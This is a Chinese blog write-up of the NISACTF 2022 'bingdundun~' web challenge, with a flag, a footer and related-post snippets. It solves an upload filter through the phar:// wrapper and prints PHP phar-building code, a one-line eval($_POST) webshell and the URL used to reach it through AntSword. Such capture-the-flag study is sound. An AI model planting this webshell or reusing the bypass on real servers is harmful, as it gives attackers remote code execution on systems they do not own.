首页 > 其他分享 >[NISACTF 2022]bingdundun~

[NISACTF 2022]bingdundun~

时间:2023-08-12 12:33:50浏览次数:91  
标签:文件 bingdundun php phar Phar muma 2022 NISACTF

[NISACTF 2022]bingdundun~

题目来源:nssctf

题目类型:web

涉及考点:文件上传

1. 题目给了一个点击按钮,进去之后是上传入口

  • 还是选择之前的muma.jpg上传:
  • 上传成功,我们再利用bp抓包修改成muma.php试试
  • 上传失败了,我们回去看看有没有啥提示,在源代码中发现:

额,好像没什么用

  • 这时候注意到页面url上有个GET传参bingdundun
  • 我们传入bingdundun=index看看:

实在看不出啥,还是直接找wp吧

2. Phar伪协议

Phar文件是php里类似于JAR的一种打包文件本质上是一种压缩文件,在PHP 5.3 或更高版本中默认开启,一个phar文件一个分为四部分:

  1. stub:phar 文件标识,格式为xxx<?php xxx; __HALT_COMPILER();?>;,前面内容不限,但必须以__HALT_COMPILER();来结尾,否则phar扩展将无法识别这个文件为phar文件
  2. manifest:phar文件本质上是一种压缩文件,其中每个被压缩文件的权限、属性等信息都放在这部分。这部分还会以序列化的形式存储用户自定义的meta-data,这是上述攻击手法最核心的地方
  3. contents:被压缩文件的内容
  4. signature:签名,放在文件末尾

php有内置的Phar类来进行Phar文件操作:

<?php
    class TestObject {
    }

    @unlink("phar.phar");
    $phar = new Phar("phar.phar"); //后缀名必须为phar
    $phar->startBuffering();
    $phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
    $o = new TestObject();
    $phar->setMetadata($o); //将自定义的meta-data存入manifest
    $phar->addFromString("test.txt", "test"); //添加要压缩的文件
    //签名自动计算
    $phar->stopBuffering();
?>

注:要将php.ini中的phar.readonly选项设置为Off,否则无法生成phar文件

对于Phar文件详解见:phar文件详解 (侵删!!)

phar://伪协议,可以将任意后缀名的压缩包(原来是 .phar 或 .zip,注意:PHP > =5.3.0 压缩包需要是zip协议压缩,rar不行 ) 解包,从而可以通过上传压缩包绕过对后缀名的限制,再利用伪协议实现文件包含。

用法:?file=phar://压缩包/内部文件,eg:?file=phar://muma.zip/muma.php

3. 利用Phar伪协议读取文件

这里没有用本地生成Phar文件,是直接将php压缩成zip文件上传的

因为我重开了一下靶场,所以重新传入muma.zip(将muma.php压缩):

这里对我们的压缩文件重命名了,蚁剑连接的时候要注意一下

muma.php的内容如下:

<?php @eval($_POST['r00ts']);?> 

用蚁剑连接一下,注意url地址填写如下:

http://node2.anna.nssctf.cn:28051/?bingdundun=phar://2364cb87e4efc9acd2fe40df758bce6d.zip/muma.php

连接密码为r00ts(即POST里的内容)

自己改下靶场地址和一句话木马文件名即可

连接成功后我们在根目录下找到了flag:

NSSCTF{b98408b0-69f4-4ede-87a6-c2e9190b451b}

日期:2023.8.12

作者:y0Zero

标签:文件,bingdundun,php,phar,Phar,muma,2022,NISACTF
From: https://www.cnblogs.com/bkofyZ/p/17624634.html

相关文章

  • [NISACTF 2022]babyupload
    [NISACTF2022]babyupload题目来源:nssctf题目类型:web涉及考点:文件上传1.题目说传一个图片文件,那我们传个muma.jpg看看但是上传失败:回去检查一下源代码,发现有/source直接访问下载了一个压缩文件,解压之后是一个py文件,随后进行代码审计2.代码审计fromflaskimportFl......
  • 2022 上海静安高三一模英语订正
    I卷除听力订正语法填空subtle:【adj.,不易察觉的】fallshortof:【未达到……预期】initself:【本质上,本身】第24题,thepractice作主语,creates作谓语,句子【成分完整】。空前面是【介词】,所以只能是代词。这里不知道initself的意思,所以没填出来。第30题,空后跟着一句......
  • 【专题】2022中国快消品零售市场趋势解读报告PDF合集分享(附原数据表)
    全文链接:https://tecdat.cn/?p=33411我们在这份报告合集中分享了有关中国本土企业的信息,包括快消品企业的渠道布局、所面临的外部风险和挑战,以及如何应对这些挑战。阅读原文,获取专题报告合集全文,解锁文末19份快消品行业相关报告。中国本土企业在制定价格策略方面,面临的......
  • 【专题】2022快消品行业线下分销链路数字化转型报告PDF合集分享(附原数据表)
    全文链接:https://tecdat.cn/?p=33411我们在这份报告合集中分享了有关中国本土企业的信息,包括快消品企业的渠道布局、所面临的外部风险和挑战,以及如何应对这些挑战。阅读原文,获取专题报告合集全文,解锁文末19份快消品行业相关报告。中国本土企业在制定价格策略方面,面临的......
  • 2022最全Hbuilder打包成苹果IOS-App的详解
    本文相关主要记录一下使用Hbuilder打包成苹果IOS-App的详细步骤。介绍一下个人开发者账号:再说下什么是免费的苹果开发者账号,就是你没交688年费的就是免费账号,如果你想变成付费开发者账号,提交申请付费就行,账号都是一样的账号。没有账号的点击链接申请:苹果开发者账号申请登录开发者......
  • 2022最新上传ipa到appstore的步骤说明​
    我们平时在开发原生的iosapp的时候,有苹果电脑在手,上传ipa文件到苹果开发者中心比较简单,直接在xcode上就可以实现了。但是现在大多数人开发app不再是用原生框架开发了,也没有苹果电脑。很多朋友们选择了跨平台的H5技术来开发app,真正做到实现一种语法到处运行的场景。现在比较热的框......
  • 2022 上海普陀高三一模英语
    I卷除听力订正语法填空第22题,区分but和though,虽然都是转折,但but强调跟在后面的内容,而though强调主句内容。这里填but更好,因为这一段都在说批评者的观点,所以空处应该强调的是跟在空后的内容,填but。小猫钓鱼climateneutral:【气候中和,不会破坏气候的(类比“碳中和”......
  • NOIP-2022-ZJ游记
    DAY0在机房看了点题,搓了遍模板,看了遍错题,回宿舍摆DAY16:40出发7点多到杭师大,看到了杭二fyk范神!8:30比赛开始,结果CCF的密码有问题,8:33才打开题目——日常半小时看题——发现T1水题,T2ex题,T3能骗特例,T4能打暴力2hT1:O(n2m2)--->O(n3m)--->O(n2m)--->O(nm)0.5hT2:啥也不会0.5hT......
  • SolidWorks2022中文版图文安装教程、激活方法附安装包下载
    一、下载方式[软件名称]:SolidWorks2022[软件语言]:简体中文 [软件大小]:14.7G[安装环境]:Win11/Win10[硬件要求]:[email protected]内存@8G及以上下载链接%70%61%6E%2E%62%61%69%64%75%2E%63%6F%6D/%73/%31%4E%2D%4D%7A%53%41%34%71%32%76%70%5A%4F%51%4B%78%4E%4E%57%41%79%67?%70%77%64=%......
  • PR语音生成字幕——文本转录功能【2022.2新功能】
    转录序列会得到一个文本然后点上面的CC,创建字幕,调整一下参数就好了......